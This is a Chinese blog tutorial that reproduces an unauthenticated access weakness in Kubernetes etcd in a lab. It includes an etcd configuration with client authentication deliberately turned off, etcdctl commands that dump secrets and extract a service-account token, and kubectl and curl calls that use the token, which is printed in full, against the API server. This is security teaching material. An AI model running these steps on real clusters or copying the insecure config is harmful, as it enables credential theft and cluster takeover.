当前位置: 首页 > news >正文

【云安全】云原生- K8S etcd 未授权访问

什么是etcd?

etcd 是一个开源的分布式键值存储系统,主要用于存储和管理配置信息、状态数据以及服务发现信息。它采用 Raft 共识算法,确保数据的一致性和高可用性,能够在多个节点上运行,保证在部分节点故障时仍能继续提供服务。

在 Kubernetes 中,etcd 扮演着关键角色,用于存储集群的所有资源数据(如 Pod、Service 和 Deployment 的信息)。Kubernetes 通过与 etcd 的交互,获取集群的当前状态并确保集群的一致性。

etcd 还提供了“watch”功能,允许用户在键值对发生变化时得到通知,适用于动态配置更新和分布式锁等场景。它是保证分布式系统一致性和高可用性的核心技术之一。

简单理解:etcd 用于存储集群的关键数据,包括节点信息、认证凭证、API 令牌(token)、证书等。它保存了集群的所有配置和状态数据,确保集群的一致性和可靠性。 

在 Kubernetes 中,etcd 使用以下几个端口:

 客户端端口(默认端口: 2379):

用于 etcd 集群与 Kubernetes 控制平面之间的通信。Kubernetes 控制平面(如 API 服务器)通过这个端口与 etcd 交互,读取和写入集群状态。

集群通信端口(默认端口: 2380):

用于 etcd 集群节点之间的内部通信,确保集群中的各个 etcd 节点之间的数据同步和一致性。这个端口用于 Raft 协议的数据同步。 

这些端口通常需要被保护和访问控制,确保安全性。默认情况下,etcd 也会使用 TLS 加密这些端口的通信,以提高安全性。

etcd未授权访问 

1、如果管理员配置不当,那么攻击者就可以从etcd中获取secrets&token等关键信息,进而通过kubectl创建恶意pod从而接管集群。

2、如果存在SSRF漏洞,配合配置不当,攻击者访问到etcd=接管集群。

3、位于K8s master node 对内暴露2379端口,本地可免认证访问,其他地址要带--endpoint参数和cert进行认证。

v3版本漏洞复现

我这里仅复现v3版本,v2版本较老,目前基本没有了 

不安全的 etcd.yaml 配置如下: 

apiVersion: v1
kind: Pod
metadata:annotations:kubeadm.kubernetes.io/etcd.advertise-client-urls: http://192.168.48.142:2379 #改成httpcreationTimestamp: nulllabels:component: etcdtier: control-planename: etcdnamespace: kube-system
spec:containers:- command:- etcd- --advertise-client-urls=http://192.168.48.142:2379 #改成http- --cert-file=/etc/kubernetes/pki/etcd/server.crt- --client-cert-auth=false #注释或修改成false- --data-dir=/var/lib/etcd- --initial-advertise-peer-urls=https://192.168.48.142:2380- --initial-cluster=master-1=https://192.168.48.142:2380- --key-file=/etc/kubernetes/pki/etcd/server.key- --listen-client-urls=http://127.0.0.1:2379,http://192.168.48.142:2379 #改成http- --listen-metrics-urls=http://127.0.0.1:2381- --listen-peer-urls=https://192.168.48.142:2380- --name=master-1- --peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt- --peer-client-cert-auth=true- --peer-key-file=/etc/kubernetes/pki/etcd/peer.key- --peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt- --snapshot-count=10000#- --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt #注释image: registry.aliyuncs.com/google_containers/etcd:3.5.1-0imagePullPolicy: IfNotPresentlivenessProbe:failureThreshold: 8httpGet:host: 127.0.0.1path: /healthport: 2381scheme: HTTPinitialDelaySeconds: 10periodSeconds: 10timeoutSeconds: 15name: etcdresources:requests:cpu: 100mmemory: 100MistartupProbe:failureThreshold: 24httpGet:host: 127.0.0.1path: /healthport: 2381scheme: HTTPinitialDelaySeconds: 10periodSeconds: 10timeoutSeconds: 15volumeMounts:- mountPath: /var/lib/etcdname: etcd-data- mountPath: /etc/kubernetes/pki/etcdname: etcd-certshostNetwork: truepriorityClassName: system-node-criticalsecurityContext:seccompProfile:type: RuntimeDefaultvolumes:- hostPath:path: /etc/kubernetes/pki/etcdtype: DirectoryOrCreatename: etcd-certs- hostPath:path: /var/lib/etcdtype: DirectoryOrCreatename: etcd-data
status: {}

对应 api server 配置如下:

检查etcd服务是否正常

#查看2379端口是否处于监听状态netstat -lnpt | grep 2379#在K8s集群初始化后,etcd默认就以pod的形式存在,可以执行如下命令进行查看kubectl get pod -A | grep etcd

(1)攻击者发现如下页面,由于2379端口默认不对外,且为tls认证,所以这种页面基本就是未授权访问了

(2)使用etcdctl工具进行测试和信息收集

#验证etcdctl --endpoints=192.168.48.142:2379 get / --prefixetcdctl --endpoints=192.168.48.142:2379 put /qiu/hui "attack"etcdctl --endpoints=192.168.48.142:2379 get /qiu/hui

安装etcd客户端连接工具etcdctl
Releases · etcd-io/etcd · GitHub

(3)由于Service Account 关联了一套凭证,存储在 Secret中。因此攻击者可以过滤Secret,查找具有高权限的Secret,然后获得其token接管K8s集群

etcdctl --endpoints=192.168.48.142:2379 get / --prefix --keys-only | findstr /C:"/secrets/"etcdctl --endpoints=192.168.48.142:2379 get / --prefix --keys-only | findstr /C:"/secrets/kube-system/clusterrole"etcdctl --endpoints=192.168.48.142:2379 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-mr6x7kubectl --insecure-skip-tls-verify -s https://192.168.48.142:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IlpJRnlaWGxOalUzT3JXa0cwaHVsck05eXFDeDRlU3d6NVR3ckdLdUJrLWcifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLW1yNng3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkNjgxZDQwYi1lNzRkLTQ3YjMtYTY5NC1hNWNjZDVhMTVkYzciLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.Ox4bHyR6IpRnHW_nw3dc8VnhWKhApBY0Q6dHSbtehe3taad6KskZk1qgrLlDHxhiwP-dtDCPNCzCNxdzBGFTICwTIsG33y3w8rc3-Uwk4ZzEisD9Ypt8136KvmBe2ozQREvQaxEsZFky1mW_6pMP0FjChrRQa3LQMV08ydDkx4ANYS4gc1NdqBcvLPC30gQGTftBlIFjmHZ0jIOW5Y5UkhaW1InMtVhyM2U4U_0xetSo6IBYa45sdppDLD5wa3FMxIxJxFVNav4gM6zB2K3uOm8v_7exVVJ7M2K4tMEDvrQCgJ7Fv0Q1fxu-PUZuDoOAM8hyDjAzpqmxW0aCmBmJ5w" -n kube-system get pods#curl验证curl --header "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IlpJRnlaWGxOalUzT3JXa0cwaHVsck05eXFDeDRlU3d6NVR3ckdLdUJrLWcifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLW1yNng3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkNjgxZDQwYi1lNzRkLTQ3YjMtYTY5NC1hNWNjZDVhMTVkYzciLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.Ox4bHyR6IpRnHW_nw3dc8VnhWKhApBY0Q6dHSbtehe3taad6KskZk1qgrLlDHxhiwP-dtDCPNCzCNxdzBGFTICwTIsG33y3w8rc3-Uwk4ZzEisD9Ypt8136KvmBe2ozQREvQaxEsZFky1mW_6pMP0FjChrRQa3LQMV08ydDkx4ANYS4gc1NdqBcvLPC30gQGTftBlIFjmHZ0jIOW5Y5UkhaW1InMtVhyM2U4U_0xetSo6IBYa45sdppDLD5wa3FMxIxJxFVNav4gM6zB2K3uOm8v_7exVVJ7M2K4tMEDvrQCgJ7Fv0Q1fxu-PUZuDoOAM8hyDjAzpqmxW0aCmBmJ5w" -X GET https://192.168.48.142:6443/api -k

(4)如果存在dashboard,也可以使用token登录,从而管理K8s 

问题解决

复现时可能会遇到以下问题:

这表明 system:serviceaccount:kube-system:clusterrole-aggregation-controller 服务账户没有权限列出 kube-system 命名空间中的 pods 资源。可能的原因是该服务账户缺少适当的角色和权限。通过以下命令授予权限:

kubectl create clusterrolebinding clusterrole-aggregation-controller-binding \--clusterrole=cluster-admin \--serviceaccount=kube-system:clusterrole-aggregation-controller

这将赋予 system:serviceaccount:kube-system:clusterrole-aggregation-controller 服务账户集群管理员权限,从而允许它执行各种操作,包括列出 Pods。 ​


http://www.mrgr.cn/news/90608.html

相关文章:

  • 知识管理成功:关键指标和策略,研究信息的投资回报率
  • MATLAB图像处理:几何变换详解(裁剪、旋转、缩放)
  • 【科技革命】颠覆性力量与社会伦理的再平衡
  • Docker 部署 MySQL-5.7 单机版
  • Unity世界坐标转成UI坐标
  • JAVA/RUST/C#/Kotlin 各语言语法糖及特性对比表
  • 20250212:sigmastar系列2-获取UUID进行授权
  • Radius协议详解
  • Qt的isVisible ()函数介绍和判断窗口是否在当前界面显示
  • Word 公式转 CSDN 插件 发布
  • deepseek本地部署
  • 【地理坐标Geo】——8
  • AI前端开发:蓬勃发展的机遇与挑战
  • 【Pandas】pandas Series drop
  • CZML 格式详解,javascript加载导出CZML文件示例
  • HR告诉你,机器视觉公司招聘真相!
  • AI前端开发:跨领域合作的新引擎
  • 【DuodooBMS】江苏新材料行业重资产数字化管理解决方案——从传感器到平台的全链路智能升级,赋能新材料智造新范式
  • 《Python百炼成仙》21-30章(不定时跟新)
  • 若输入超过 5 位数个时,推荐使用 scanf 输入数据。
  • 深入剖析 Vue 的响应式原理:构建高效 Web 应用的基石
  • 一文深入了解DeepSeek-R1:模型架构
  • 【JavaScript】《JavaScript高级程序设计 (第4版) 》笔记-Chapter11-期约与异步函数
  • 【R语言】方差分析
  • GLM库需要VS2013及以上
  • 游戏引擎学习第101天